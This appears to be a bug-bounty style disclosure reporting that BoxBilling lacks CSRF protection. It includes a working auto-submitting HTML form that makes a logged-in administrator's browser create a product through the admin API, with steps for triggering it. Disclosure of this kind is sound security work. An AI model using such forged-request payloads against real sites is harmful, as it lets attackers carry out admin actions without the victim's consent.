✍️ Description

CSRF BUG

🕵️‍♂️ Proof of Concept

i see whole boxbilling software is vulnerable to csrf bug . There is no protection for csrf attack

the csrf attack poc will be bellow code

<form action="http://your_boxbilling_site.com/boxbilling/index.php?_url=/api/admin/product/prepare" method="post" id="myForm">
<input type=hidden name=type value="custom">
<input type=hidden name=product_category_id value="1">
<input type=hidden name=title value="csrf">
  <input type="submit" value="Submit">
</form> 
<script>
document.getElementById("myForm").submit()
</script>

In this html code change your sitename and save the file as html . Now logged in into boxbilling account and open this file in your same browser and see a product is created using csrf attack every request is vulnerable for csrf attack

💥 Impact

csrf